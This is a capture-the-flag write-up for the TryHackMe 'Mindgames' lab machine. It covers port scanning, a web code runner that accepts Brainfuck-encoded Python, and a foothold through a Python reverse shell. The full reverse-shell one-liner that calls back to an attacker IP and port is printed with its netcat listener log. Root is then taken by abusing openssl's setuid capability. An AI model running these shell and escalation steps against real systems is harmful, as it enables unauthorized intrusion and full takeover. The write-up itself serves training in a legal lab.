Mindgames Walkthrough Writeup
Mindgames TryHackMe Writeup
1. Scanning & Enumeration
We do the below scans in parallel.
1.1. Port Scanning
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:4f:06:26:0e:d3:7c:b8:18:42:40:12:7a:9e:3b:71 (RSA)
| 256 5c:2b:3c:56:fd:60:2f:f7:28:34:47:55:d6:f8:8d:c1 (ECDSA)
|_ 256 da:16:8b:14:aa:58:0e:e1:74:85:6f:af:bf:6b:8d:58 (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Mindgames.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nothing too special here.
1.2. Web Enumeration
I tried enumerating other directories in the website, but I did not find anything.
1.3. Web Exploration
This looks like the brainfuck language. Using a decoder here. Decoding the first one, we get the resultant: print(“Hello, World”)
The second one is:
def F(n):
if n <= 1:
return 1
return F(n-1)+F(n-2)
for i in range(10):
print(F(i))
both look python3. So … could we put a python3 reverse shell?
2. Foothold
I tried putting a vanilla python3 line, but it did not work. So, I tried encoding it first with brainfuck using this tool.
encoding
it works!
Get a reverse shell. I used the one below.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.17.8.184”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“sh”)
Listening on a port.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 …
connect to [10.17.8.184] from (UNKNOWN) [10.10.28.151] 37062
$ python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
mindgames@mindgames:~/webserver$
We are in!
3. PrivEsc
Upgrade the shell: python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
I took some time enumerating and I found the below using linpeas.sh.
Files with capabilities (limited to 50):
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/openssl = cap_setuid+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep is writable
The /usr/bin/openssl = cap_setuid+ep looks very interesting. Running,
mindgames@mindgames:~/webserver$ openssl req -engine ./openssl-engine.so
openssl req -engine ./openssl-engine.so
root@mindgames:~/webserver# id
id
uid=0(root) gid=1001(mindgames) groups=1001(mindgames)
root@mindgames:~/webserver# cd /root
cd /root
root@mindgames:/root# cat roo
cat root.txt
thm{yee_haww}
root@mindgames:/root#
And we are done!
